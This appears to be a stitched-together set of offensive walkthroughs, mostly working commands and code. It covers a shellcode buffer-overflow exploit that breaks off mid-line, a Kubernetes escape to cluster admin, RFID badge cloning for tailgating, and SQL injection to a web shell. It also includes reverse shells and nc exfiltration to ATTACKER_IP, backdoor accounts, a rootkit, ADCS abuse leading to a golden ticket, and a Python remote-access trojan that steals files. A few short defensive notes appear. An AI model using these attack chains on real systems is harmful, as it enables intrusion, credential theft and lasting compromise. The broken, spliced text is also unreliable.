# exploit.py
import struct
# Shellcode (execve("/bin/sh"))
shellcode = (
b"\\xd9\\xc1\\xd9\\x74\\x24\\xf4\\x5e\\x33\\xc9\\xb1"
b"\\x0b\\x31\\x76\\x15\\x03\\x76\\x15\\x83\\xee\\xfc"
b"\\x76\\x53\\x4f\\x68\\x57\\xe0\\xc1\\xd3\\xc1\\xa8"
b"\\x9c\\xe8\\xeb\\xf7\\xdf\\xaa\\x4f\\x48\\x70\\x3e"
b"\\x40\\xfa\\x21\\x4f\\xae\\xe2\\xc9\\x3f\\xe1\\x58"
b"\\x3c\\x63\\x28\\xe1\\xdc"
)
# Return address (points to NOP sled)
ret_addr = 0xbffff5d0
# Payload construction:
nops = b"\\x90" * 20 # NOP sled
payload = nops + shellcode # NOPs + shellcode
# Calculate padding needed:
offset = 76
padding_size = offset - len(payload)
padding = b"A" * padding_size
# Pack return address (little-endian):
ret_addr_packed = struct.pack("
# Assume you've gained RCE via web vulnerability (SQLi, file upload, etc.)
# You have a web shell in the container
# Check environment:
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
# webapp-deployment-5d7c6b9f8d-x4m2p
uname -a
# Linux webapp-deployment-5d7c6b9f8d-x4m2p 5.10.0-21-cloud-amd64 #1 SMP Debian GNU/Linux
# Confirm we're in a container:
cat /proc/1/cgroup | grep -i docker
# 12:cpuset:/docker/4a5b8c9d3e2f...
# Or check for Kubernetes:
cat /proc/1/cgroup | grep -i kubepods
# 12:cpuset:/kubepods/besteffort/pod123abc.../4a5b8c9d...
# We're in Kubernetes!
# Check for misconfigurations:
# 1. Mounted Docker socket (common misconfiguration!):
ls -la /var/run/docker.sock
# If exists → instant root via Docker API!
# 2. Privileged container:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = ALL capabilities = privileged!
# 3. Mounted host filesystem:
ls -la /host
ls -la /mnt
# Look for host root filesystem mounts
# 4. Kubernetes service account:
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# token = JWT for Kubernetes API
# ca.crt = CA certificate
# namespace = Current namespace
# Read service account token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# eyJhbGciOiJSUzI1NiIsImtpZCI6Ij...
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# 5. Check environment variables:
env | grep -i kube
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443
# 6. Network enumeration:
ip addr
# Usually only sees container network (eth0: 10.244.x.x)
# Can we reach Kubernetes API?
curl -k https://10.96.0.1:443
# {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden..."}
# Kubernetes API is accessible!
# Query API with service account token:
# Test authentication:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/default/pods
# Response:
# {"kind":"PodList","apiVersion":"v1","items":[...]}
# Success! Our service account can list pods
# Enumerate permissions:
# List pods:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/default/pods | jq '.items[].metadata.name'
# Output:
# "webapp-deployment-5d7c6b9f8d-x4m2p" # Us!
# "redis-master-0"
# "postgres-0"
# List namespaces:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces | jq '.items[].metadata.name'
# Output:
# "default"
# "kube-system" # Critical namespace!
# "kube-public"
# Try to list kube-system pods:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/kube-system/pods
# If FORBIDDEN → no access to kube-system (yet)
# If SUCCESS → we can see system pods!
# List secrets:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/default/secrets
# Secrets contain credentials, certificates, tokens!
# Try to create pods (escalation path):
curl -k -H "Authorization: Bearer $TOKEN" \\
-H "Content-Type: application/json" \\
-X POST \\
-d @test-pod.json \\
https://10.96.0.1:443/api/v1/namespaces/default/pods
# If FORBIDDEN → can't create pods
# If SUCCESS → we can deploy our own pods!
# If we can create pods, deploy privileged pod:
# Create malicious pod spec (evil-pod.json):
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "evil-pod",
"namespace": "default"
},
"spec": {
"containers": [{
"name": "evil",
"image": "ubuntu:latest",
"command": ["/bin/bash", "-c", "sleep 3600"],
"securityContext": {
"privileged": true
},
"volumeMounts": [{
"name": "host-root",
"mountPath": "/host"
}]
}],
"volumes": [{
"name": "host-root",
"hostPath": {
"path": "/",
"type": "Directory"
}
}],
"restartPolicy": "Never"
}
}
# Deploy pod:
curl -k -H "Authorization: Bearer $TOKEN" \\
-H "Content-Type: application/json" \\
-X POST \\
-d @evil-pod.json \\
https://10.96.0.1:443/api/v1/namespaces/default/pods
# Wait for pod to start:
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/default/pods/evil-pod | jq '.status.phase'
# Output: "Running"
# Get shell in evil pod:
# (Requires exec endpoint access)
curl -k -H "Authorization: Bearer $TOKEN" \\
https://10.96.0.1:443/api/v1/namespaces/default/pods/evil-pod/exec?command=/bin/bash&stdin=true&stdout=true&stderr=true&tty=true
# Now in privileged pod with host filesystem at /host!
# Escape to host:
chroot /host /bin/bash
# Check:
hostname
# master-node-01 # We're on the Kubernetes node!
id
# uid=0(root) gid=0(root) groups=0(root)
# Full root on Kubernetes node!
# From compromised node, access kubelet certs:
ls -la /etc/kubernetes/
# admin.conf = Cluster admin credentials!
# kubelet.conf
# controller-manager.conf
# scheduler.conf
# Copy admin.conf:
cat /etc/kubernetes/admin.conf
# Output (YAML):
# apiVersion: v1
# clusters:
# - cluster:
# certificate-authority-data: LS0tLS1CRUdJTi...
# server: https://10.0.0.1:6443
# name: kubernetes
# contexts:
# - context:
# cluster: kubernetes
# user: kubernetes-admin
# name: kubernetes-admin@kubernetes
# current-context: kubernetes-admin@kubernetes
# kind: Config
# users:
# - name: kubernetes-admin
# user:
# client-certificate-data: LS0tLS1CRUdJTi...
# client-key-data: LS0tLS1CRUdJTi...
# This kubeconfig provides CLUSTER ADMIN access!
# Use it:
export KUBECONFIG=/etc/kubernetes/admin.conf
# Or extract and use from attacker machine:
# 1. Copy admin.conf to attacker
# 2. kubectl --kubeconfig=admin.conf get pods --all-namespaces
# Alternative: Steal etcd data (Kubernetes database):
ls -la /var/lib/etcd/
# etcd contains ALL cluster secrets unencrypted!
# Read secrets from etcd:
ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt \\
--cert /etc/kubernetes/pki/etcd/server.crt \\
--key /etc/kubernetes/pki/etcd/server.key \\
get / --prefix --keys-only
# Returns ALL Kubernetes resources (secrets, tokens, passwords!)
# With cluster admin access:
# List all secrets:
kubectl get secrets --all-namespaces
# Dump specific secret:
kubectl get secret -n kube-system admin-token-xyz -o yaml
# Decode base64:
echo "BASE64_VALUE" | base64 -d
# Create backdoor admin user:
kubectl create serviceaccount backdoor -n kube-system
kubectl create clusterrolebinding backdoor-admin \\
--clusterrole=cluster-admin \\
--serviceaccount=kube-system:backdoor
# Get backdoor token:
kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep backdoor | awk '{print $1}')
# Deploy persistent webshell pod:
kubectl run webshell --image=alpine --restart=Never -- /bin/sh -c "while true; do nc -l -p 4444 -e /bin/sh; done"
# Access all nodes:
kubectl get nodes
kubectl exec -it -- /bin/bash
# Exfiltrate data from all pods:
for pod in $(kubectl get pods --all-namespaces -o name); do
kubectl exec $pod -- cat /etc/shadow
done
# Complete cluster compromise!
# RFID (Radio-Frequency Identification) types:
# Low Frequency (LF): 125 kHz
# • HID Prox cards (most common office badges)
# • EM4100/EM4102 cards
# • Read range: ~10 cm
# • Simple, easy to clone
# • Used in: Office buildings, hotels, parking
# High Frequency (HF): 13.56 MHz
# • Mifare Classic (common transit cards, hotel keys)
# • Mifare DESFire (more secure)
# • iCLASS (government, high-security)
# • NFC phones operate at this frequency
# • Read range: ~10 cm
# • More complex, but still cloneable
# • Used in: Transit, government, modern offices
# Ultra High Frequency (UHF): 860-960 MHz
# • Long-range RFID (supply chain, inventory)
# • Read range: 10+ meters!
# • Less common for access control
# • Used in: Warehouses, toll roads
# Our target: HID Prox (125 kHz) - most common office badge
# Proxmark3 = RFID research tool ($300)
# Alternatives:
# • ACR122U (~$40, NFC only)
# • Flipper Zero (~$200, multi-tool)
# • Chameleon Mini (~$60, emulation only)
# We'll use Proxmark3 (most powerful)
# Install software:
sudo apt install proxmark3
# Or compile from source:
git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
make clean && make all
sudo make install
# Connect Proxmark3 via USB
# Start client:
proxmark3 /dev/ttyACM0
# Output:
# [=] Session log /root/.proxmark3/logs/log_20260109.txt
# [+] loaded from JSON file /root/.proxmark3/preferences.json
# [=] Using UART port /dev/ttyACM0
# [+] About to use the following device: USB /dev/ttyACM0
# [+] Communicating with PM3 over USB-CDC
#
# ██████╗ ███╗ ███╗ ████╗
# ██╔══██╗████╗ ████║ ╚══██║
# ██████╔╝██╔████╔██║ ██╔╝
# ██╔═══╝ ██║╚██╔╝██║ ██║
# ██║ ██║ ╚═╝ ██║ ██████║
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝
#
# proxmark3>
# Check connection:
proxmark3> hw status
# Verify LF and HF antennas working
# Scenario: Tailgating attack
# You're behind employee at door, they badge in
# Your Proxmark3 is in bag/pocket, close to their badge
# Start LF search:
proxmark3> lf search
# Output (when badge detected):
# [+] Valid HID Prox ID found!
# [+] HID Prox TAG ID: 2006ec0c86 (8011)
# [+] Format: 26-bit (H10301)
# [+] Facility Code: 123
# [+] Card Number: 8011
# Success! We captured:
# • Facility Code: 123
# • Card Number: 8011
# Alternative: Use auto-read mode (background capture):
proxmark3> lf hid read
# Leave running, captures when badge is nearby
# Save for later:
# Write down Facility Code and Card Number
# Or use built-in clone command immediately
# You need writable cards:
# • T5577 cards (LF writable, $1 each)
# • Order from AliExpress, Amazon, eBay
# Place blank T5577 card on Proxmark3
# Clone directly from captured data:
proxmark3> lf hid clone --raw 2006ec0c86
# Or use facility code + card number:
proxmark3> lf hid clone -r 26 -f 123 -n 8011
# Flags:
# -r = Format (26-bit H10301)
# -f = Facility code (123)
# -n = Card number (8011)
# Output:
# [=] Preparing to clone HID tag
# [=] Done
# [?] Try `lf hid reader` to verify
# Verify clone:
proxmark3> lf hid reader
# Output:
# [+] HID Prox TAG ID: 2006ec0c86 (8011)
# [+] Format: 26-bit (H10301)
# [+] Facility Code: 123
# [+] Card Number: 8011
# Perfect match! Clone successful!
# Test on access control system:
# Present cloned card to reader
# Door should open!
# Mifare Classic cards are more complex (HF 13.56 MHz)
# Used in: Transit cards, hotel keys, some offices
# Check card type:
proxmark3> hf search
# Output:
# [+] Valid Mifare Classic 1K tag found
# Mifare uses encryption (Crypto1)
# But: Known weaknesses allow cracking
# Attack 1: Known default keys
proxmark3> hf mf chk --1k -f mfc_default_keys.dic
# Tests common default keys (factory defaults)
# Output:
# [+] Found valid key [ffffffffffff] (sector 0, A)
# [+] Found valid key [a0a1a2a3a4a5] (sector 1, A)
# ... # If many default keys found → easy attack!
# Attack 2: Nested attack (if some keys known):
proxmark3> hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF
# Uses known key to find other keys
# Attack 3: Hardnested attack (no keys known):
proxmark3> hf mf hardnested --blk 0 --a --k FFFFFFFFFFFF
# Takes ~5-10 minutes, but very reliable
# Once all keys found, dump card:
proxmark3> hf mf dump
# Output: hf-mf--dump.bin
# Clone to writable card:
# 1. Buy Chinese Magic Card (UID changeable)
# 2. proxmark3> hf mf cload -f hf-mf--dump.bin
# Perfect clone with matching UID!
# How companies defend against RFID cloning:
# 1. Encrypted cards:
# • iCLASS SE, HID SEOS, DESFire EV2
# • Mutual authentication (reader verifies card, card verifies reader)
# • Harder to clone (but not impossible with replay attacks)
# 2. Multi-factor authentication:
# • Badge + PIN
# • Badge + biometric
# • Badge + mobile app
# 3. Challenge-response:
# • Card must compute response to challenge
# • Clones won't work (unless you clone secure element)
# 4. Faraday sleeves:
# • RFID-blocking wallets/badge holders
# • Prevents unauthorized reads
# 5. Short read range:
# • Lower power readers
# • Requires badge very close to reader
# • Harder for skimmers
# Detection:
# • Monitor for duplicate badge uses (same badge, different locations, short time)
# • Video surveillance (correlate badge swipes with faces)
# • Anomaly detection (badge used at unusual time/location)
# • Physical inspection for skimmers
# Target: http://vulnerable-site.com/product.php?id=1
# Test for SQLi:
http://vulnerable-site.com/product.php?id=1'
# Error message:
# "You have an error in your SQL syntax near ''' at line 1"
# Confirmed SQL injection!
# Determine number of columns (UNION-based):
http://vulnerable-site.com/product.php?id=1 ORDER BY 1-- - # Works
http://vulnerable-site.com/product.php?id=1 ORDER BY 2-- - # Works
http://vulnerable-site.com/product.php?id=1 ORDER BY 3-- - # Works
http://vulnerable-site.com/product.php?id=1 ORDER BY 4-- - # Error!
# 3 columns in SELECT statement
# Find injectable columns:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,2,3-- -
# Page shows numbers in output (let's say 2 and 3 are visible)
# Database enumeration:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,@@version,database()-- -
# Output:
# MySQL Version: 8.0.32-0ubuntu0.20.04.2
# Current Database: webapp_db
# List databases:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -
# Output:
# information_schema
# mysql
# performance_schema
# webapp_db
# List tables in webapp_db:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='webapp_db'-- -
# Output:
# products
# users # Interesting!
# orders
# admin_users # Very interesting!
# List columns in users table:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
# Output:
# id
# username
# email
# password # Jackpot!
# role
# Dump users table:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,CONCAT(username,':',password),email FROM users-- -
# Output:
# admin:$2y$10$abcdef1234567890...
# john:$2y$10$xyz9876543210...
# jane:$2y$10$qwerty...
# Bcrypt hashes - need to crack offline
# Check if file read is possible:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
# Output:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
# webadmin:x:1000:1000:Web Admin:/home/webadmin:/bin/bash
# Users discovered:
# • root (UID 0)
# • www-data (UID 33, web server)
# • webadmin (UID 1000, real user)
# Read web application source:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- -
# Output (config.php):
#
# Credentials found!
# Read MySQL config:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/etc/mysql/my.cnf'),3-- -
# Check for SSH keys:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/home/webadmin/.ssh/id_rsa'),3-- -
# If SSH key found → instant SSH access!
# Read Apache logs (password spraying evidence):
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,LOAD_FILE('/var/log/apache2/access.log'),3-- -
# Check if file write possible:
# Requires: FILE privilege + writable directory
# Test write to /var/www/html/:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/test.php'-- -
# Access: http://vulnerable-site.com/test.php
# If "TEST" appears → file write works!
# Upload web shell:
http://vulnerable-site.com/product.php?id=-1 UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'-- -
# Execute commands:
http://vulnerable-site.com/shell.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://vulnerable-site.com/shell.php?cmd=whoami
# Output: www-data
http://vulnerable-site.com/shell.php?cmd=uname -a
# Output: Linux webapp-server 5.4.0-150-generic #167-Ubuntu...
# RCE achieved!
# Upgrade to interactive reverse shell:
# Start listener on attacker:
nc -lvnp 4444
# Execute reverse shell via web shell:
http://vulnerable-site.com/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# URL-encoded:
http://vulnerable-site.com/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27
# Connection received!
# www-data@webapp-server:/var/www/html$
# Stabilize shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Enumerate system:
ls -la /home
# /home/webadmin
cat /etc/cron*
# Look for cron jobs running as root
find / -perm -4000 2>/dev/null
# SUID binaries
# Check sudo:
sudo -l
# (www-data) NOPASSWD: /usr/bin/perl
# Escalate via sudo perl:
sudo perl -e 'exec "/bin/bash";'
# root@webapp-server:/#
id
# uid=0(root) gid=0(root) groups=0(root)
# Root achieved!
# Dump all MySQL databases:
mysqldump -u root -p --all-databases > /tmp/all_databases.sql
# Copy to attacker:
nc ATTACKER_IP 5555 < /tmp/all_databases.sql
# On attacker:
nc -lvnp 5555 > databases.sql
# Add SSH key for persistence:
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# SSH as root:
ssh root@vulnerable-site.com
# Create backdoor user:
useradd -m -s /bin/bash -G sudo backdoor
echo 'backdoor:SecurePassword123' | chpasswd
# Add to sudoers (no password):
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# Rootkit installation (advanced):
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make
# Load kernel module:
insmod reptile.ko
# Reptile features:
# • Hidden processes
# • Hidden files
# • Hidden network connections
# • Rootshell backdoor
# Complete compromise!
# You have low-privilege domain credentials:
# Username: corp\\lowpriv
# Password: Welcome123
# From Windows attack machine:
# Or from Linux with evil-winrm, impacket, etc.
# Enumerate ADCS:
# Tool: Certify.exe (https://github.com/GhostPack/Certify)
# Download Certify:
# https://github.com/GhostPack/Certify/releases
# Run Certify (enumerate vulnerable templates):
.\\Certify.exe find /vulnerable
# Output:
# [*] Action: Find certificate templates
# [*] Using current user's unrolled group SIDs for vulnerability checks.
# [*] Using the search base 'CN=Configuration,DC=corp,DC=com'
#
# [*] Listing info about the Enterprise CA 'corp-DC-CA'
#
# Enterprise CA Name : corp-DC-CA
# DNS Hostname : DC.corp.com
# FullName : DC.corp.com\\corp-DC-CA
# Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
# Cert SubjectName : CN=corp-DC-CA, DC=corp, DC=com
# Cert Thumbprint : 1234567890ABCDEF...
# Cert Serial : 123456789
# Cert Start Date : 1/1/2024 12:00:00 AM
# Cert End Date : 1/1/2029 12:00:00 AM
#
# [!] Vulnerable Certificates Templates :
#
# CA Name : DC.corp.com\\corp-DC-CA
# Template Name : UserTemplate
# Schema Version : 2
# Validity Period : 1 year
# Renewal Period : 6 weeks
# msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
# mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
# Authorized Signatures Required: 0
# pkiextendedkeyusage : Client Authentication
# Permissions
# Enrollment Permissions
# Enrollment Rights : CORP\\Domain Users
#
# [!] ESC1 VULNERABILITY DETECTED!
#
# Template allows:
# • Domain Users can enroll
# • ENROLLEE_SUPPLIES_SUBJECT (requester controls Subject Alternative Name)
# • Client Authentication EKU (can authenticate as any user)
#
# This allows ANY domain user to request certificate as ANY user (including Domain Admin!)
# ESC1 = Enrollee Supplies Subject + Client Auth EKU
# Use Certify to request certificate:
# Request cert as "Administrator" (Domain Admin):
.\\Certify.exe request /ca:DC.corp.com\\corp-DC-CA /template:UserTemplate /altname:Administrator
# Output:
# [*] Action: Request a Certificates
# [*] Current user context : CORP\\lowpriv
# [*] No subject name specified, using current context as subject.
#
# [*] Template : UserTemplate
# [*] Subject : CN=lowpriv, CN=Users, DC=corp, DC=com
# [*] AltName : Administrator
#
# [*] Certificate Authority : DC.corp.com\\corp-DC-CA
#
# [*] CA Response : The certificate had been issued.
# [*] Request ID : 123
#
# [*] cert.pem :
# -----BEGIN RSA PRIVATE KEY-----
# MIIEpAIBAAKCAQEA4Z...
# -----END RSA PRIVATE KEY-----
# -----BEGIN CERTIFICATE-----
# MIIGHjCCBQagAwIBAgITEgAAAA...
# -----END CERTIFICATE-----
#
# [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Save output to cert.pem
# Convert to PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
# Enter password: password123
# We now have admin.pfx certificate for "Administrator" user!
# Use Rubeus to request TGT with certificate:
# Tool: Rubeus.exe (https://github.com/GhostPack/Rubeus)
# Request TGT using certificate:
.\\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:password123 /nowrap
# Output:
# [*] Action: Ask TGT
#
# [*] Using PKINIT with etype rc4_hmac and subject: CN=lowpriv, CN=Users, DC=corp, DC=com
# [*] Building AS-REQ (w/ PKINIT preauth) for: 'corp.com\\Administrator'
# [+] TGT request successful!
# [*] base64(ticket.kirbi):
#
# doIFujCCBbagAwIBBaEDAgEWooIEvjCCBLphggS2MIIEsqADAgEFoQwbCkNPUlAuQ09NoiUw
# I6ADAgECoRwwGhsGa3JidGd0GxBDT1JQLkNPTaOCBGQwggRgoAMCARKhAwIBAqKCBFIEggRO
# ... (very long base64 blob) ...
#
# [+] Ticket successfully imported!
# Copy the base64 TGT
# Import into current session:
.\\Rubeus.exe ptt /ticket:[BASE64_TGT]
# Output:
# [*] Action: Import Ticket
# [+] Ticket successfully imported!
# Verify:
klist
# Output:
# Current LogonId is 0:0x3e7
#
# Cached Tickets: (1)
#
# #0> Client: Administrator @ CORP.COM
# Server: krbtgt/CORP.COM @ CORP.COM
# KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
# Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
# Start Time: 1/9/2026 10:00:00 (local)
# End Time: 1/9/2026 20:00:00 (local)
# Renew Time: 1/16/2026 10:00:00 (local)
# Session Key Type: AES-256-CTS-HMAC-SHA1-96
# Cache Flags: 0x1 -> PRIMARY
# We are now "Administrator"!
# With Domain Admin TGT, we can do ANYTHING:
# List domain admins:
net group "Domain Admins" /domain
# Output:
# Administrator
# DA_User1
# DA_User2
# Access Domain Controller:
dir \\\\DC.corp.com\\C$
# Output:
# Volume in drive \\\\DC.corp.com\\C$ is Windows
# Directory of \\\\DC.corp.com\\C$
#
# 01/01/2024 12:00 AM
Program Files
# 01/01/2024 12:00 AM Users
# 01/01/2024 12:00 AM Windows
# ...
# Access works!
# DCSync (dump all domain hashes):
# Tool: Mimikatz or Impacket secretsdump
# From Linux:
impacket-secretsdump -k -no-pass corp.com/Administrator@DC.corp.com
# Output:
# [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3a5c3b2e1f4g5h6i7j8k9l0m1n2o3p4:::
# DA_User1:1104:aad3b435b51404eeaad3b435b51404ee:58a52d27c84a2f6c78b9c3d4e5f6a7b8:::
# ...
# All domain hashes dumped!
# Create Golden Ticket (persistent domain admin):
# From Windows with Mimikatz:
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.com /sid:S-1-5-21-123456789-987654321-111111111 /krbtgt:d3a5c3b2e1f4g5h6i7j8k9l0m1n2o3p4 /id:500 /ptt
# Golden Ticket injected!
# Valid for 10 years
# Survives password changes
# Backdoor access to domain forever!
# How companies defend against ADCS attacks:
# 1. Fix vulnerable templates:
# • Remove "ENROLLEE_SUPPLIES_SUBJECT" flag
# • Require manager approval
# • Require authorized signatures
# • Restrict enrollment rights
# Remediation for UserTemplate:
# - Open Certificate Templates Console
# - Edit "UserTemplate"
# - Subject Name tab → Uncheck "Supply in the request"
# - Security tab → Remove "Domain Users" enrollment rights
# 2. Enable certificate auditing:
# • Event ID 4886 (certificate requested)
# • Event ID 4887 (certificate issued)
# • Monitor for unusual SAN values
# 3. Patch other ESC vulnerabilities:
# • ESC2: Any Purpose EKU
# • ESC3: Enrollment Agent templates
# • ESC4: Vulnerable template ACLs
# • ESC5: Vulnerable CA ACLs
# • ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag
# • ESC7: Vulnerable CA permissions
# • ESC8: NTLM relay to ADCS HTTP endpoints
# 4. Detection:
# • Certutil to enumerate templates:
certutil -v -template > templates.txt
# • PowerShell:
Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=com" -Filter * -Properties *
# • Tools:
# - Certify.exe find /vulnerable
# - PSPKIAudit.ps1
# - ADCSTemplate PowerShell module
# 5. Monitoring:
# • Alert on Event ID 4886 + unusual Subject Alternative Names
# • Monitor for Certify.exe, Rubeus.exe execution
# • Detect PKINIT authentication (Event ID 4768 with certificate)
# RAT components:
# 1. Server (attacker machine) - receives connections
# 2. Client (victim machine) - connects back to server
# Client connects to server → establishes reverse shell
# Server sends commands → client executes → sends output back
# Why reverse shell instead of bind shell?
# • Victim initiates connection (bypasses incoming firewall rules)
# • NAT traversal (works from internal networks)
# • More stealthy (outbound traffic less monitored)
# Tech stack:
# • Python 3 (cross-platform)
# • socket module (networking)
# • subprocess (command execution)
# • pyautogui (screenshots)
# • pynput (keylogging)
# • pyinstaller (compile to EXE)
# • Base64 (data encoding)
# • AES encryption (traffic encryption)
# client.py (runs on victim):
import socket
import subprocess
import os
SERVER_IP = "ATTACKER_IP"
SERVER_PORT = 4444
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
while True:
# Receive command
command = s.recv(1024).decode()
if command.lower() == "exit":
break
if command.lower() == "":
continue
# Execute command
output = subprocess.getoutput(command)
# Send output back
s.send(output.encode())
s.close()
if __name__ == "__main__":
connect()
# server.py (runs on attacker):
import socket
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))
server.listen(1)
print("[*] Listening on port 4444...")
client_socket, client_address = server.accept()
print(f"[+] Connection from {client_address}")
while True:
command = input("Shell> ")
if command.lower() == "exit":
client_socket.send(command.encode())
break
client_socket.send(command.encode())
output = client_socket.recv(4096).decode()
print(output)
client_socket.close()
server.close()
if __name__ == "__main__":
start_server()
# Test:
# Terminal 1 (server): python3 server.py
# Terminal 2 (client): python3 client.py
#
# Shell> whoami
# Output: user
# Shell> pwd
# Output: /home/user
# Enhanced client.py with file operations:
import socket
import subprocess
import os
import base64
SERVER_IP = "ATTACKER_IP"
SERVER_PORT = 4444
def execute_command(command):
try:
return subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
except:
return b"Command execution failed"
def download_file(filename):
# Client downloads file FROM victim
try:
with open(filename, "rb") as f:
data = f.read()
# Base64 encode to safely send binary data
encoded = base64.b64encode(data)
return b"[FILE_START]" + encoded + b"[FILE_END]"
except:
return b"File not found"
def upload_file(filename, data):
# Client uploads file TO victim
try:
decoded = base64.b64decode(data)
with open(filename, "wb") as f:
f.write(decoded)
return b"File uploaded successfully"
except:
return b"File upload failed"
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
while True:
command = s.recv(4096).decode()
if command.lower() == "exit":
break
# File download: download /path/to/file
if command.startswith("download "):
filename = command.split(" ", 1)[1]
output = download_file(filename)
# File upload: upload /path/to/file [BASE64_DATA]
elif command.startswith("upload "):
parts = command.split(" ", 2)
filename = parts[1]
data = parts[2]
output = upload_file(filename, data)
# Change directory: cd /path
elif command.startswith("cd "):
try:
os.chdir(command.split(" ", 1)[1])
output = f"Changed directory to: {os.getcwd()}".encode()
except:
output = b"Directory change failed"
# Regular command
else:
output = execute_command(command)
# Send output
s.send(output)
s.close()
if __name__ == "__main__":
connect()
# Enhanced server.py:
import socket
import base64
def handle_download(client_socket, data):
# Extract file data from response
start = data.find(b"[FILE_START]") + len(b"[FILE_START]")
end = data.find(b"[FILE_END]")
if start != -1 and end != -1:
encoded_data = data[start:end]
decoded_data = base64.b64decode(encoded_data)
# Save file
filename = input("Save as: ")
with open(filename, "wb") as f:
f.write(decoded_data)
print(f"[+] File saved to: {filename}")
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))
server.listen(1)
print("[*] Listening on port 4444...")
client_socket, client_address = server.accept()
print(f"[+] Connection from {client_address}")
while True:
command = input("RAT> ")
if command.lower() == "exit":
client_socket.send(command.encode())
break
# Send command
client_socket.send(command.encode())
# Receive output
output = client_socket.recv(409600) # 400KB buffer for files
# Handle file download
if b"[FILE_START]" in output:
handle_download(client_socket, output)
else:
print(output.decode(errors='ignore'))
client_socket.close()
server.close()
if __name__ == "__main__":
start_server()
# Usage:
# RAT> download C:\\Users\\victim\\passwords.txt
# Save as: passwords.txt
# [+] File saved to: passwords.txt
# Add persistence to client.py:
